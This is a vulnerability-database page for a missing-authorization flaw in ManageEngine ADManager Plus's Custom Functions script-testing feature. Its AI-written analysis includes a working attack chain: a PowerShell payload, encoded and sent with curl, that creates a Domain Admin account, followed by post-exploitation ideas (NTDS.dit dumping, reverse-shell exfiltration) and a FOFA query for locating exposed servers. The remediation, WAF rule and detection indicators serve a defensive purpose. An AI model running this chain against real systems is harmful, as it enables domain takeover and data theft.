CVE Professor
/
All CVEs
CVE-2026-125737

CVE-2026-125737 — Zohocorp ADManager Plus (8043) — CWE-862

HIGH CVSS 7.5 CVE.org

Zohocorp ManageEngine ADManager Plus version below 8043 was affected by a authorization vulnerability in the Custom Functions module, allowing unauthorized authenticated users to access the script testing functionality.

Zohocorp ManageEngine ADManager Plus version below 8043 was affected by a authorization vulnerability in the Custom Functions module, allowing unauthorized authenticated users to access the script testing functionality.

CVSS v3.1 Vector Metrics
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
Attack Vector Network AV:N
Attack Complexity High AC:H
Privileges Req. Low PR:L
User Interaction None UI:N
Scope Unchanged S:U
Confidentiality High C:H
Integrity High I:H
Availability High A:H
AI Security Analysis & Remediation

🎯 What is this vulnerability?

ItemDetail
CVECVE‑2026‑125737
ProductZoho Corp ManageEngine ADManager Plus (versions < 8043)
CWECWE‑862 – Missing Authorization
CVSS 3.17.5 (High) – AV:N / AC:H / PR:L / UI:N / S:U / C:H / I:H / A:H

Technical description

ADManager Plus ships a Custom Functions module that lets administrators write, test and execute PowerShell/JavaScript snippets against the AD domain. The UI contains a “Script Test” page that accepts a user‑supplied script body and runs it in a sandboxed process under the service account.

The flaw is missing or incomplete authorization checks on the script‑testing endpoint:

1. Authentication is required – the attacker must have a valid ADManager Plus user account (any role that can log in, even a low‑privilege “Read‑Only” user).
2. Authorization is not enforced – the server does not verify that the authenticated principal has the “Manage Custom Functions” permission before allowing the request to reach the script‑execution engine.

Consequences:

  • An attacker who can log in (e.g., a compromised low‑privilege credential) can submit arbitrary PowerShell/JavaScript code to be executed with the privileges of the ADManager Plus service account (typically a domain‑joined local system account with rights to query and modify AD objects).
  • Because the script is executed on the server, the attacker can achieve remote code execution (RCE), privilege escalation within the AD forest, and full data exfiltration.
  • The CVSS vector reflects:

  • Network‑accessible (AV:N) – the endpoint is reachable over HTTP/HTTPS.
  • High attack complexity (AC:H) – the attacker must first obtain a valid ADManager Plus credential.
  • Low privileges (PR:L) – only a normal user account is needed.
  • No user interaction (UI:N) – the exploit runs automatically once the request is sent.
  • Unchanged scope (S:U) – the vulnerability does not cross trust boundaries.
  • Confidentiality, Integrity, Availability impact are all High (C:H/I:H/A:H) because the attacker can run arbitrary code.

  • ⚡ Attack Chain

    Below is a realistic, step‑by‑step exploitation flow. All command‑line examples are syntactically valid; the exact URI and parameter names are illustrative because the public advisory does not disclose them.

    1. Discovery & Reconnaissance

    StepActionTools / Evidence
    1.1Identify the product and version.• Browse to /login.do → page footer shows “ADManager Plus v8.0.42”. <br>• Use Nmap service detection (-sV) or Wappalyzer browser extension.
    1.2Verify that the version is < 8043 (e.g., 8.0.42 < 8043).• Check the *Release Notes* page (/release-notes.html).
    1.3Enumerate exposed modules.• Access the *Custom Functions* UI (/customfunctions.do). <br>• Look for a “Test Script” button that triggers an AJAX call.

    | 1.4 | Capture the AJAX request with a proxy (Burp Suite / OWASP ZAP). | The request typically looks like:

    POST /customfunctions/testScript HTTP/1.1
    Host: admanager.example.com
    Cookie: JSESSIONID=abcd1234; authToken=xyz
    Content-Type: application/json

    Body (illustrative):

    {
      "scriptLanguage": "powershell",
      "scriptBody": "Get-Process"
    }

    2. Exploitation

    Goal: Execute arbitrary PowerShell that creates a domain admin account.

    2.1 Prepare the malicious payload

    # PowerShell that creates a new AD user and adds it to Domain Admins
    $User = "eviladmin"
    $Pass = ConvertTo-SecureString "P@ssw0rd!" -AsPlainText -Force
    New-ADUser -Name $User -AccountPassword $Pass -Enabled $true
    Add-ADGroupMember -Identity "Domain Admins" -Members $User

    Encode the script to avoid JSON quoting issues (Base64 for PowerShell -EncodedCommand):

    PS_SCRIPT=$(cat <<'EOF'
    $User = "eviladmin"
    $Pass = ConvertTo-SecureString "P@ssw0rd!" -AsPlainText -Force
    New-ADUser -Name $User -AccountPassword $Pass -Enabled $true
    Add-ADGroupMember -Identity "Domain Admins" -Members $User
    EOF
    )
    
    ENCODED=$(printf "%s" "$PS_SCRIPT" | iconv -f UTF-8 -t UTF-16LE | base64 -w0)

    2.2 Send the request

    curl -k -s -X POST "https://admanager.example.com/customfunctions/testScript" \
      -H "Cookie: JSESSIONID=abcd1234; authToken=xyz" \
      -H "Content-Type: application/json" \
      -d '{
            "scriptLanguage": "powershell",
            "scriptBody": "powershell -NoProfile -EncodedCommand '"'"$ENCODED"'"'"
          }'

    If the endpoint name differs, replace /customfunctions/testScript with the observed path from step 1.4.

    What happens: The server receives the request, skips any permission check, forwards the scriptBody to the internal script‑execution service, which runs the PowerShell under the ADManager Plus service account. The account typically has rights to query and modify AD, allowing the creation of a new privileged user.

    2.3 Verify success

    # After a few seconds, attempt to bind with the new account
    ldapsearch -x -H ldap://ad.example.com -D "[email protected]" -w "P@ssw0rd!" "(objectClass=person)"

    If the bind succeeds, the exploit worked.

    3. Post‑exploitation

    PhasePossible actions
    PersistenceThe newly created domain admin remains after ADManager Plus restarts.
    Lateral movementUse the privileged account to dump NTDS.dit, harvest credentials, or deploy ransomware.
    Data exfiltrationQuery AD for all user objects, export to a file, and upload via a reverse‑shell opened from the PowerShell script (Invoke-WebRequest).
    Privilege escalationIf the service account is less privileged, the script can still impersonate the service account to request Kerberos tickets (kinit) and perform Pass‑the‑Ticket attacks.
    Cleanup / anti‑forensicsThe attacker can delete the custom function entry from the UI (if the UI permits) to hide the activity, or modify AD audit policies to suppress logging.

    🌍 Real‑World Impact

    CIAImpact (derived from CVSS)Practical consequences
    Confidentiality (C:H)Attackers can read any AD object, export password hashes, and retrieve sensitive configuration stored in ADManager Plus (e.g., service account credentials).
    Integrity (I:H)Ability to modify AD objects – create/delete users, add members to privileged groups, change GPOs, or alter ADManager Plus configuration.
    Availability (A:H)An attacker can execute commands that disable AD services, delete critical objects, or launch a denial‑of‑service by exhausting system resources (e.g., spawning many processes).

    Business impact may include:

  • Full domain compromise → loss of trust, regulatory fines, and breach notification obligations.
  • Service outage of AD‑dependent applications (Exchange, SharePoint, VPN).
  • Potential ransomware deployment after privilege escalation.
  • Because the vulnerability is exploitable remotely once a low‑privilege credential is obtained, the risk is high even in environments that enforce strong network segmentation.


    🛡️ Remediation & Mitigation

    1. Patch / Upgrade

    ActionDetails
    UpgradeMove to ADManager Plus v8043 or later. The vendor’s release notes (v8043) state: “Fixed missing authorization check on Custom Functions script testing.”
    Version checkVerify the version via the UI (Help → About) or by inspecting WEB-INF/version.properties on the server.

    2. Immediate Work‑arounds (if patch cannot be applied instantly)

    Work‑aroundImplementation
    Restrict access to the Custom Functions UIAdd a network‑level ACL (e.g., Apache Require ip 10.0.0.0/24) or an application‑level role‑based restriction so that only members of the *Administrators* AD group can reach /customfunctions/*.
    Disable the script‑testing endpointIn conf/customfunctions.properties (or equivalent), set scriptTesting.enabled=false and restart the service.
    Enforce least‑privilege service accountEnsure the ADManager Plus service runs under a dedicated local account without domain admin rights.

    | Web Application Firewall rule (ModSecurity example) – blocks any POST to the testing endpoint from non‑admin users:

    SecRule REQUEST_URI "@beginsWith /customfunctions/testScript" \
        "id:400001,phase:2,deny,status:403,msg:'Block script testing for non‑admin',\
        chain"
    SecRule &TX:authenticated_user "!@eq 1" "t:none"
    Note: Replace the URI with the actual path discovered in step 1.4. The rule assumes a variable TX:authenticated_user is set by the authentication module (common in many ModSecurity deployments).

    3. Detection – Log patterns & IoCs

    IndicatorExample log entry (Apache/Nginx)
    POST to script‑testing endpointPOST /customfunctions/testScript HTTP/1.1" 200 1234 "-" "Mozilla/5.0"
    Large scriptBody payload (≥ 2 KB) – typical for encoded PowerShellrequest_body_length=2456
    Successful creation of privileged AD objects (if AD audit logging is enabled)EventID=4728, TargetUserName=Domain Admins, MemberName=eviladmin
    Outbound connections from the ADManager host (PowerShell Invoke-WebRequest or reverse shell)Outbound TCP 192.0.2.55:443 from process java.exe (ADManager service)
    Anomalous authentication token reuse – same authToken used for a low‑privilege user and a later script test requestCookie: authToken=xyz appears in both /login.do and /customfunctions/testScript

    SIEM rule (pseudo‑code):

    if event.type == "web_request"
       and event.method == "POST"
       and event.uri matches "/customfunctions/.*test.*"
       and event.user_role != "Administrator"
    then alert "Potential unauthorized script test"

    ⚠️ Urgency

    FactorAssessment
    CVSS 7.5 (High) – confidentiality, integrity, and availability are all high.
    Attack complexity – requires only a low‑privilege credential (PR:L) and no user interaction (UI:N).
    Public exposure – the vulnerability is publicly disclosed (published 02‑Dec‑2026).
    CISA KEV – not listed, but the lack of a KEV entry does not reduce risk.
    Exploitability – the vulnerable endpoint is reachable over the network; a working PoC can be crafted in minutes once credentials are obtained.

    Patch priority: Critical for any environment that:

  • Exposes ADManager Plus to the internet or untrusted internal sub‑nets.
  • Uses service accounts with domain‑wide privileges.
If immediate patching is impossible, apply the network‑level restriction and disable the testing endpoint within 24 hours, then schedule the upgrade to v8043 as soon as possible (ideally within the next maintenance window).
Bottom line: CVE‑2026‑125737 is a classic missing‑authorization flaw that turns a benign “script‑test” feature into a remote code execution vector. The combination of low‑privilege credential requirement and high impact on the AD forest makes it a must‑fix issue for any organization running ADManager Plus below version 8043.

[🤖 CVE Professor AI Security Engine]

Target Reconnaissance Queries (FOFA & Shodan)

FOFA Query

app="Zohocorp ADManager Plus"
CVSS Score
7.5 / 10 · CVSS HIGH
Weakness Types (CWE)
Affected Products (1)
Zohocorp:ADManager Plus (8043)
References & Advisories (1)
Related CVEs
9.8
CVE-2026-121827
ZohoCorp ManageEngine Applications Manager versions 182800 and below were affected by an remote command execut
8.0
CVE-2026-123027
ZohoCorp ManageEngine Applications Manager versions 182600 and below were affected by an improper authorizatio
7.5
CVE-2026-125736
ZohoCorp ManageEngine Applications Manager versions 182000 and below were affected by an denial-of-service vul
8.8
CVE-2026-145179
StoreEngine plugin for WordPress before 2.7.1 contains a missing authorization vulnerability that exposes webh
8.8
CVE-2026-144410
Emby Server is a personal media server. Prior to 4.10.2.0 and beta 4.11.0.9, an authenticated user can supply
8.7
CVE-2026-126098
Missing authorization in the API token REST endpoint GET /api/v1/apitoken/{tokenId}/jwt in dotCMS through 26.1
8.6
CVE-2026-145259
RayLabsHQ gitea-mirror before 3.57.0 contains a missing authorization vulnerability in /api/auth/sso/register